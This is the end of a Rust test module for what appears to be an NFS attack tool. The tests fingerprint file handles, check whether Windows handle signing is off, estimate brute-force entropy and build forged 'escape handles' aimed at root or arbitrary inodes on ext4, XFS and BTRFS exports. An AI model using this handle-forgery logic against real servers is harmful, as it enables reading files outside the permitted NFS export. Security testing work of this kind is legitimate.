            0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
        ];
        data.extend_from_slice(&inode.to_le_bytes());
        data.extend_from_slice(&generation.to_le_bytes());
        FileHandle::from_bytes(&data)
    }

    /// Build a Windows-style 32-byte handle. When `signed` is true, last 10 bytes are non-zero.
    fn windows_handle(signed: bool) -> FileHandle {
        let mut data = vec![0u8; 32];
        // Put non-zero content in early bytes so it doesn't look like padded Linux
        data[0] = 0x03;
        data[1] = 0x00;
        data[2] = 0x00;
        data[3] = 0x00;
        if signed {
            // Non-zero HMAC in last 10 bytes
            for b in &mut data[22..32] {
                *b = 0xAB;
            }
        }
        FileHandle::from_bytes(&data)
    }

    // --- OS fingerprinting ---

    #[test]
    fn fingerprint_linux_handle() {
        let fh = linux_ext4_handle(2, 0);
        assert_eq!(FileHandleAnalyzer::fingerprint_os(&fh), OsGuess::Linux);
    }

    #[test]
    fn fingerprint_windows_handle_signed() {
        let fh = windows_handle(true);
        assert_eq!(FileHandleAnalyzer::fingerprint_os(&fh), OsGuess::Windows);
    }

    #[test]
    fn fingerprint_short_handle_is_unknown() {
        // A 3-byte handle can't match any known format.
        let fh = FileHandle::from_bytes(&[0xFF, 0xFE, 0xFD]);
        assert_eq!(FileHandleAnalyzer::fingerprint_os(&fh), OsGuess::Unknown);
    }

    #[test]
    fn fingerprint_xfs_uuid_handle_is_linux_not_windows() {
        // A 32-byte Linux knfsd handle for an XFS UUID-based export:
        //   [01 00 06 81] + 16-byte UUID fsid (fsid_type=6) + 8-byte 64-bit inode
        //   + 4-byte generation = exactly 32 bytes (FILEID_INO64_GEN, fileid_type=0x81).
        // With a non-zero generation the trailing 4 bytes are non-zero, which used
        // to trip the 32-byte Windows heuristic. version=01/auth=00 must win.
        let mut data = vec![
            0x01, // version = 1 (Linux)
            0x00, // auth_type = 0
            0x06, // fsid_type = 6 (UUID-based)
            0x81, // fileid_type = FILEID_INO64_GEN (XFS, 64-bit inode)
        ];
        data.extend_from_slice(&[0xAB; 16]); // 16-byte UUID fsid
        data.extend_from_slice(&500u64.to_le_bytes()); // 64-bit inode
        data.extend_from_slice(&0xDEAD_BEEFu32.to_le_bytes()); // non-zero generation
        assert_eq!(data.len(), 32, "XFS UUID handle must be exactly 32 bytes");
        let fh = FileHandle::from_bytes(&data);
        assert_eq!(FileHandleAnalyzer::fingerprint_os(&fh), OsGuess::Linux, "32-byte XFS UUID handle must fingerprint as Linux, not Windows");
        // Entropy must follow the Linux (32-bit generation) branch, not the 80-bit HMAC.
        let analysis = FileHandleAnalyzer::estimate_entropy(&fh);
        assert!((analysis.entropy_bits - 32.0).abs() < 1.0, "XFS handle entropy comes from the 32-bit generation");
    }

    // --- FS fingerprinting ---

    #[test]
    fn fingerprint_ext4_from_fsid_type_zero() {
        let fh = linux_ext4_handle(2, 0);
        let fs = FileHandleAnalyzer::fingerprint_fs(&fh);
        assert_eq!(fs, FsType::Ext4);
    }

    #[test]
    fn fingerprint_btrfs_from_fileid_type_0x4d() {
        let data = vec![
            0x01, 0x00, 0x00, // fsid_type = 0
            0x4d, // fileid_type = 0x4d -> BTRFS
            0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, // fsid
            0x00, 0x01, 0x00, 0x00, // subvol id
            0x00, 0x00, 0x00, 0x00, // generation
        ];
        let fh = FileHandle::from_bytes(&data);
        assert_eq!(FileHandleAnalyzer::fingerprint_fs(&fh), FsType::Btrfs);
    }

    #[test]
    fn fingerprint_short_handle_is_unknown_fs() {
        let fh = FileHandle::from_bytes(&[0x01, 0x00, 0x00]);
        assert_eq!(FileHandleAnalyzer::fingerprint_fs(&fh), FsType::Unknown);
    }

    // --- Windows signing detection ---

    #[test]
    fn windows_signing_disabled_all_zeros() {
        // 32-byte handle with all-zero HMAC in last 10 bytes -> signing disabled.
        // This is the precondition for handle forgery on Windows NFS (F-2.3).
        let fh = windows_handle(false);
        assert_eq!(FileHandleAnalyzer::check_windows_signing(&fh), SigningStatus::Disabled);
    }

    #[test]
    fn windows_signing_enabled_nonzero_hmac() {
        let fh = windows_handle(true);
        assert_eq!(FileHandleAnalyzer::check_windows_signing(&fh), SigningStatus::Enabled);
    }

    #[test]
    fn windows_signing_not_applicable_for_non_windows_size() {
        // A Linux handle (e.g. 20 bytes) is not a Windows handle.
        let fh = linux_ext4_handle(2, 0);
        assert_eq!(FileHandleAnalyzer::check_windows_signing(&fh), SigningStatus::NotApplicable);
    }

    #[test]
    fn windows_handle_version_detection_32_byte() {
        let fh = windows_handle(true);
        assert_eq!(FileHandleAnalyzer::detect_windows_handle_version(&fh), Some(WindowsHandleVersion::V3));
    }

    #[test]
    fn windows_handle_version_detection_28_byte() {
        let mut data = vec![0u8; 28];
        // Non-zero signature in last 16 bytes
        for b in &mut data[12..28] {
            *b = 0x55;
        }
        let fh = FileHandle::from_bytes(&data);
        assert_eq!(FileHandleAnalyzer::detect_windows_handle_version(&fh), Some(WindowsHandleVersion::V41));
    }

    #[test]
    fn windows_handle_version_none_for_other_sizes() {
        let fh = linux_ext4_handle(2, 0); // 20 bytes
        assert_eq!(FileHandleAnalyzer::detect_windows_handle_version(&fh), None);
    }

    // --- Entropy estimation ---

    #[test]
    fn entropy_linux_root_handle_low() {
        // The Linux root inode (2) is well-known. Entropy comes only from xdev
        // (device major:minor ~ 11 bits). Short handle <= 12 bytes triggers this path.
        let short_linux = FileHandle::from_bytes(&[
            0x01, 0x00, 0x00, 0x02, // version, auth, fsid_type, fileid_type
            0x08, 0x00, 0x00, 0x00, // fsid (4 bytes only, keep handle <=12)
        ]);
        let analysis = FileHandleAnalyzer::estimate_entropy(&short_linux);
        // Root handle path: ~11 bits
        assert!((analysis.entropy_bits - 11.0).abs() < 1.0, "root handle entropy should be ~11 bits");
        assert!(analysis.brute_force_seconds < 1.0, "root handle should be brute-forceable quickly");
    }

    #[test]
    fn entropy_linux_nonroot_handle_higher() {
        // Non-root Linux handles carry a 32-bit generation number.
        let fh = linux_ext4_handle(12345, 0xDEAD_BEEF);
        let analysis = FileHandleAnalyzer::estimate_entropy(&fh);
        assert!((analysis.entropy_bits - 32.0).abs() < 1.0, "non-root Linux handle entropy should be ~32 bits");
        assert!(!analysis.random_fields.is_empty());
    }

    #[test]
    fn entropy_windows_unsigned_handle_zero() {
        // A properly-identified unsigned Windows handle (data[0]=0x03, non-zero tail elsewhere
        // to trigger Windows fingerprinting, but zero HMAC) has zero entropy.
        // Construct a handle where fingerprint_os returns Windows:
        // data[28..32] must be non-zero OR data[22..32] must have a non-zero byte.
        let mut data = vec![0u8; 32];
        data[0] = 0x03;
        data[28] = 0x01; // make data[28..32] != [0,0,0,0] -> fingerprint_os returns Windows
        // HMAC region (data[22..32]): data[28]=0x01, rest zero  --  HMAC is NOT all-zero
        // so signing == Enabled. To test zero entropy we need the all-zero HMAC variant:
        data[28] = 0x00; // back to zero  --  now data[28..32] is [0,0,0,0]
        // But now fingerprint_os won't return Windows. This demonstrates that an
        // "all-zero HMAC" Windows handle doesn't look like Windows to fingerprint_os.
        // Instead, test the signing check result directly  --  check_windows_signing returns
        // Disabled for a 32-byte handle with zero HMAC, regardless of OS fingerprint.
        let fh_zeros = FileHandle::from_bytes(&data);
        assert_eq!(FileHandleAnalyzer::check_windows_signing(&fh_zeros), SigningStatus::Disabled);
        // And confirm the entropy path: fingerprint_os gives Unknown, entropy defaults to 32 bits.
        let analysis = FileHandleAnalyzer::estimate_entropy(&fh_zeros);
        assert!(analysis.entropy_bits > 0.0, "unknown-OS handle gets default entropy estimate");
    }

    #[test]
    fn entropy_windows_signed_handle_high() {
        // Signed Windows handle: 80-bit HMAC protects against forgery.
        let fh = windows_handle(true);
        let analysis = FileHandleAnalyzer::estimate_entropy(&fh);
        assert!(analysis.entropy_bits >= 64.0, "signed Windows HMAC should give high entropy");
    }

    // --- Escape handle construction ---

    #[test]
    fn escape_handle_for_ext4_targets_inode_2() {
        // Root inode on ext4 is always 2 (DESIGN.md S7, F-3.1).
        let export_fh = linux_ext4_handle(12345, 0);
        let result = FileHandleAnalyzer::construct_escape_handle(&export_fh).expect("ext4 escape must succeed");
        assert_eq!(result.fs_type, FsType::Ext4);
        // The returned handle bytes must embed inode 2 (root) in LE at the inode offset.
        let raw = result.root_handle.as_bytes();
        // For fsid_type=0: inode offset = 4 + 8 = 12
        assert!(raw.len() >= 16, "escape handle must be at least 16 bytes for inode read");
        let inode = u32::from_le_bytes([raw[12], raw[13], raw[14], raw[15]]);
        assert_eq!(inode, 2, "escape handle must target root inode 2");
    }

    #[test]
    fn escape_handle_confidence_is_nonzero() {
        let fh = linux_ext4_handle(99, 0);
        let result = FileHandleAnalyzer::construct_escape_handle(&fh).expect("must succeed");
        assert!(result.confidence > 0.0);
        assert!(result.confidence <= 1.0);
    }

    #[test]
    fn escape_handle_returns_none_for_non_linux() {
        // Windows handle: version byte != 0x01, so escape is not possible.
        let fh = windows_handle(false);
        assert!(FileHandleAnalyzer::construct_escape_handle(&fh).is_none(), "escape must return None for non-Linux handles");
    }

    #[test]
    fn construct_handle_for_inode_arbitrary() {
        // Directly target inode 42 with generation 7 on the same filesystem as the export.
        let export_fh = linux_ext4_handle(5, 1);
        let result = FileHandleAnalyzer::construct_handle_for_inode(&export_fh, 42, 7).expect("handle construction must succeed");
        let raw = result.root_handle.as_bytes();
        assert!(raw.len() >= 20, "handle must be at least 20 bytes for inode+generation read");
        let inode = u32::from_le_bytes([raw[12], raw[13], raw[14], raw[15]]);
        let generation_out = u32::from_le_bytes([raw[16], raw[17], raw[18], raw[19]]);
        assert_eq!(inode, 42);
        assert_eq!(generation_out, 7);
        assert!(result.confidence > 0.5, "known generation -> higher confidence");
    }

    #[test]
    fn btrfs_subvol_handles_count() {
        // Produce 5 BTRFS subvolume escape candidates.
        let data = vec![
            0x01, 0x00, 0x00, // fsid_type = 0
            0x4d, // fileid_type = BTRFS
            0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        ];
        let fh = FileHandle::from_bytes(&data);
        let handles = FileHandleAnalyzer::construct_btrfs_subvol_handles(&fh, 5);
        assert_eq!(handles.len(), 6, "must produce 1 FS-tree handle + max_subvols user handles");
        for h in &handles {
            assert_eq!(h.fs_type, FsType::Btrfs);
        }
    }

    #[test]
    fn btrfs_subvol_handles_empty_for_non_linux() {
        let fh = windows_handle(false);
        let handles = FileHandleAnalyzer::construct_btrfs_subvol_handles(&fh, 10);
        assert!(handles.is_empty(), "non-Linux handle must yield no BTRFS candidates");
    }

    #[test]
    fn construct_handle_for_inode_fsid_type_1_works() {
        // ext4 with fsid_type=1 (4-byte compact fsid) -- tests the short fsid path.
        let mut data = vec![
            0x01, 0x00, 0x01, // fsid_type = 1 (4-byte dev number)
            0x01, // fileid_type = FILEID_INO32_GEN (ext4)
            0x08, 0x00, 0x00, 0x00, // fsid: 4 bytes
        ];
        data.extend_from_slice(&5u32.to_le_bytes()); // export inode
        data.extend_from_slice(&0u32.to_le_bytes()); // export gen
        let export_fh = FileHandle::from_bytes(&data);
        let result = FileHandleAnalyzer::construct_handle_for_inode(&export_fh, 42, 0);
        assert!(result.is_some(), "ext4 + fsid_type=1 must produce a handle");
        let r = result.unwrap();
        // inode offset for fsid_type=1: 4 + 4 (fsid) = 8
        let raw = r.root_handle.as_bytes();
        assert!(raw.len() >= 12, "handle must be at least 12 bytes for fsid_type=1 inode read");
        let inode = u32::from_le_bytes([raw[8], raw[9], raw[10], raw[11]]);
        assert_eq!(inode, 42);
    }

    #[test]
    fn construct_handle_for_inode_fsid_type_2_works() {
        // ext4 with fsid_type=2 (12-byte fsid) -- tests the medium-length fsid path.
        let mut data = vec![
            0x01, 0x00, 0x02, // fsid_type = 2 (dev + UUID prefix, 12 bytes)
            0x01, // fileid_type = FILEID_INO32_GEN (ext4)
        ];
        data.extend_from_slice(&[0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xAA, 0xBB, 0xCC, 0xDD]); // 12-byte fsid
        data.extend_from_slice(&7u32.to_le_bytes()); // export inode
        data.extend_from_slice(&0u32.to_le_bytes()); // export gen
        let export_fh = FileHandle::from_bytes(&data);
        let result = FileHandleAnalyzer::construct_handle_for_inode(&export_fh, 99, 7);
        assert!(result.is_some(), "ext4 + fsid_type=2 must produce a handle");
        let r = result.unwrap();
        // inode offset for fsid_type=2: 4 + 12 = 16
        let raw = r.root_handle.as_bytes();
        assert!(raw.len() >= 20, "handle must be at least 20 bytes for fsid_type=2 inode read");
        let inode = u32::from_le_bytes([raw[16], raw[17], raw[18], raw[19]]);
        assert_eq!(inode, 99);
    }

    #[test]
    fn construct_escape_handle_xfs_returns_inode_128() {
        // XFS handle: fsid_type=6 (16-byte UUID), fileid_type=0x81 (FILEID_INO64_GEN).
        // Real XFS with UUID-based exports always uses 0x81 to signal 64-bit inodes.
        let mut data = vec![
            0x01, // version = 1
            0x00, // auth_type = 0
            0x06, // fsid_type = 6  --  UUID-based (XFS)
            0x81, // fileid_type = FILEID_INO64_GEN -- XFS 64-bit inode marker
        ];
        // fsid: 16 bytes
        data.extend_from_slice(&[0xAA; 16]);
        // fileid: 64-bit inode + 32-bit generation
        data.extend_from_slice(&500u64.to_le_bytes());
        data.extend_from_slice(&1u32.to_le_bytes());
        let fh = FileHandle::from_bytes(&data);
        let result = FileHandleAnalyzer::construct_escape_handle(&fh);
        assert!(result.is_some(), "XFS escape must succeed");
        let r = result.unwrap();
        assert_eq!(r.fs_type, FsType::Xfs);
        // Root inode on XFS v5 is 128; stored as 64-bit LE at inode offset 4+16=20
        let raw = r.root_handle.as_bytes();
        assert!(raw.len() >= 28, "XFS handle must be at least 28 bytes for 64-bit inode read");
        let inode = u64::from_le_bytes([raw[20], raw[21], raw[22], raw[23], raw[24], raw[25], raw[26], raw[27]]);
        assert_eq!(inode, 128, "XFS escape must target root inode 128");
    }

    #[test]
    fn fingerprint_fs_xfs_from_fsid_type_6() {
        let mut data = vec![
            0x01, 0x00, 0x06, // fsid_type = 6  --  UUID
            0x02, // fileid_type = 2
        ];
        data.extend_from_slice(&[0x01; 16]); // 16-byte fsid
        data.extend_from_slice(&128u32.to_le_bytes()); // inode = 128 (XFS root)
        data.extend_from_slice(&0u32.to_le_bytes());
        let fh = FileHandle::from_bytes(&data);
        assert_eq!(FileHandleAnalyzer::fingerprint_fs(&fh), FsType::Xfs);
    }

    #[test]
    fn fingerprint_fs_xfs_from_fsid_type_7() {
        // XFS with fsid_type=7 and fileid_type=0x81 (FILEID_INO64_GEN).
        // 0x81 is the definitive XFS marker regardless of fsid_type.
        let mut data = vec![
            0x01, 0x00, 0x07, // fsid_type = 7
            0x81, // fileid_type = FILEID_INO64_GEN -- XFS
        ];
        data.extend_from_slice(&[0x01; 16]); // 16-byte UUID fsid
        data.extend_from_slice(&128u64.to_le_bytes()); // 64-bit inode
        data.extend_from_slice(&0u32.to_le_bytes());
        let fh = FileHandle::from_bytes(&data);
        assert_eq!(FileHandleAnalyzer::fingerprint_fs(&fh), FsType::Xfs);
    }

    /// XFS with device-based exports (fsid_type=0) uses FILEID_INO64_GEN (0x81)
    /// when the filesystem has 64-bit inodes.  This is the distinguishing marker
    /// between XFS and ext4 on fsid_type=0 handles.
    #[test]
    fn fingerprint_fs_xfs_fileid_type_0x81() {
        let mut data = vec![
            0x01, 0x00, 0x00, // fsid_type = 0 (device-based -- same as ext4)
            0x81, // fileid_type = FILEID_INO64_GEN -- XFS only
            // fsid: 8 bytes (device major:minor)
            0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
        ];
        // inode (64-bit on XFS) + generation
        data.extend_from_slice(&128u64.to_le_bytes());
        data.extend_from_slice(&0u32.to_le_bytes());
        let fh = FileHandle::from_bytes(&data);
        assert_eq!(FileHandleAnalyzer::fingerprint_fs(&fh), FsType::Xfs, "fileid_type=0x81 must identify XFS even when fsid_type=0");
    }

    #[test]
    fn fingerprint_fs_unknown_fsid_type_returns_unknown() {
        let data = vec![
            0x01, 0x00, 0xFF, // fsid_type = 0xFF  --  unknown
            0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        ];
        let fh = FileHandle::from_bytes(&data);
        assert_eq!(FileHandleAnalyzer::fingerprint_fs(&fh), FsType::Unknown);
    }

    #[test]
    fn estimate_entropy_freebsd_handle_is_64_bits() {
        // Build a FreeBSD-style handle: 20+ bytes, bytes 8-9 = fid_len = 12
        let mut data = vec![0u8; 24];
        data[8] = 0x00;
        data[9] = 12; // fid_len = 12 in BE
        let fh = FileHandle::from_bytes(&data);
        assert_eq!(FileHandleAnalyzer::fingerprint_os(&fh), OsGuess::FreeBsd);
        let analysis = FileHandleAnalyzer::estimate_entropy(&fh);
        assert!((analysis.entropy_bits - 64.0).abs() < 1.0, "FreeBSD handle should have ~64 bits entropy, got {}", analysis.entropy_bits);
    }

    #[test]
    fn construct_btrfs_subvol_handles_start_at_fs_tree() {
        let data = vec![
            0x01, 0x00, 0x00, 0x4d, // BTRFS, fsid_type=0
            0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        ];
        let fh = FileHandle::from_bytes(&data);
        // max_subvols=3: returns 1 (FS tree) + 3 (user subvols) = 4 handles.
        let handles = FileHandleAnalyzer::construct_btrfs_subvol_handles(&fh, 3);
        assert_eq!(handles.len(), 4, "must produce 1 FS-tree handle + max_subvols user handles");
        // First handle targets the FS tree (root_objectid = BTRFS_FS_TREE_OBJECTID = 5).
        // Handle layout for fsid_type=0: 4B header + 8B fsid + 8B objectid + 8B root_objectid + 4B gen
        //   root_objectid offset = 4 + 8 + 8 = 20
        let raw = handles[0].root_handle.as_bytes();
        assert!(raw.len() >= 28, "BTRFS handle must be at least 28 bytes for root_objectid read");
        let root_objectid = u64::from_le_bytes([raw[20], raw[21], raw[22], raw[23], raw[24], raw[25], raw[26], raw[27]]);
        assert_eq!(root_objectid, 5, "first BTRFS handle must target FS_TREE_OBJECTID (5)");
        // Second handle is the first user subvolume (root_objectid = 256).
        let raw2 = handles[1].root_handle.as_bytes();
        assert!(raw2.len() >= 28, "BTRFS handle must be at least 28 bytes for root_objectid read");
        let root_objectid2 = u64::from_le_bytes([raw2[20], raw2[21], raw2[22], raw2[23], raw2[24], raw2[25], raw2[26], raw2[27]]);
        assert_eq!(root_objectid2, 256, "second BTRFS handle must target first user subvolume (256)");
    }

    #[test]
    fn construct_handle_for_inode_fsid_type_7_preserves_24_byte_fsid() {
        // A non-compound fsid_type=7 seed: the 44-byte FILEID_INO32_GEN_PARENT escape
        // format ([01 00 07 02] | export_inode(4) | export_gen(4) | UUID(16) | file...).
        // The fsid is the 24-byte export context (bytes 4..28); fsid_type=7 must map to a
        // 24-byte fsid (kernel FSID_UUID16_INUM key_len) so the rewritten inode lands at
        // offset 28, not 8 bytes inside the real fsid.
        let mut data = vec![0x01, 0x00, 0x07, 0x02]; // version, auth, fsid_type=7, fileid_type=2
        data.extend_from_slice(&10u32.to_le_bytes()); // export_inode
        data.extend_from_slice(&20u32.to_le_bytes()); // export_gen
        data.extend_from_slice(&[0xAB; 16]); // UUID
        data.extend_from_slice(&11u32.to_le_bytes()); // file_inode
        data.extend_from_slice(&22u32.to_le_bytes()); // file_gen
        data.extend_from_slice(&10u32.to_le_bytes()); // parent_inode
        data.extend_from_slice(&20u32.to_le_bytes()); // parent_gen
        assert_eq!(data.len(), 44, "FILEID_INO32_GEN_PARENT seed must be 44 bytes");
        let seed = FileHandle::from_bytes(&data);

        let result = FileHandleAnalyzer::construct_handle_for_inode(&seed, 42, 7).expect("fsid_type=7 handle must construct");
        let raw = result.root_handle.as_bytes();
        assert!(raw.len() >= 36, "fsid_type=7 handle must be at least 36 bytes for fsid+inode+gen read");
        // The full 24-byte fsid (bytes 4..28) must be preserved verbatim.
        assert_eq!(&raw[4..28], &data[4..28], "the full 24-byte fsid (export context) must be preserved");
        // The rewritten inode/gen must land at offset 28 (4 header + 24 fsid).
        let inode = u32::from_le_bytes([raw[28], raw[29], raw[30], raw[31]]);
        let generation = u32::from_le_bytes([raw[32], raw[33], raw[34], raw[35]]);
        assert_eq!(inode, 42, "inode must be written at offset 28, after the full 24-byte fsid");
        assert_eq!(generation, 7);
    }

    /// Build a 28-byte compound-UUID MOUNT handle: [01 00 07 00] | export_inode(4) |
    /// export_gen(4) | UUID(16). fingerprint_fs returns Unknown for this format.
    fn compound_uuid_handle(export_inode: u32) -> FileHandle {
        let mut data = vec![0x01, 0x00, 0x07, 0x00];
        data.extend_from_slice(&export_inode.to_le_bytes());
        data.extend_from_slice(&0u32.to_le_bytes()); // export_gen
        data.extend_from_slice(&[0xCD; 16]); // UUID
        assert_eq!(data.len(), 28);
        FileHandle::from_bytes(&data)
    }

    #[test]
    fn construct_escape_handle_compound_uuid_aborts_only_on_ext4_root() {
        // On a compound-UUID handle we cannot tell ext4 from XFS, so only inode 2 (the
        // ext4 root) may abort the escape -- 32/64/128 are ordinary ext4 directory inodes.
        assert!(FileHandleAnalyzer::construct_escape_handle(&compound_uuid_handle(2)).is_none(), "compound-UUID export at ext4 root inode 2 has nothing to escape");

        // inode 64 is a normal low-numbered ext4 directory inode (also an XFS root, but we
        // cannot tell): escape MUST still be attempted, not aborted.
        let r = FileHandleAnalyzer::construct_escape_handle(&compound_uuid_handle(64)).expect("compound-UUID export at inode 64 must still attempt escape");
        assert_eq!(r.inode_number, 2, "compound-UUID escape targets the ext4 root inode 2");
    }

    #[test]
    fn construct_root_candidates_compound_uuid_includes_xfs_roots() {
        // A compound-UUID export (ambiguous ext4/XFS): the candidate list must include
        // BOTH the ext4 root (inode 2) and the XFS roots (128/64/32) so a single-call site
        // escapes a UUID-based XFS export, not just ext4.
        let seed = compound_uuid_handle(9999); // export at a normal subdirectory inode
        let candidates = FileHandleAnalyzer::construct_root_candidates(&seed);
        let inodes: Vec<u32> = candidates.iter().map(|c| c.inode_number).collect();
        assert!(inodes.contains(&2), "must queue ext4 root inode 2");
        assert!(inodes.contains(&128), "must queue XFS v5 root inode 128");
        assert!(inodes.contains(&64), "must queue XFS root inode 64");
        assert!(inodes.contains(&32), "must queue XFS root inode 32");
    }
}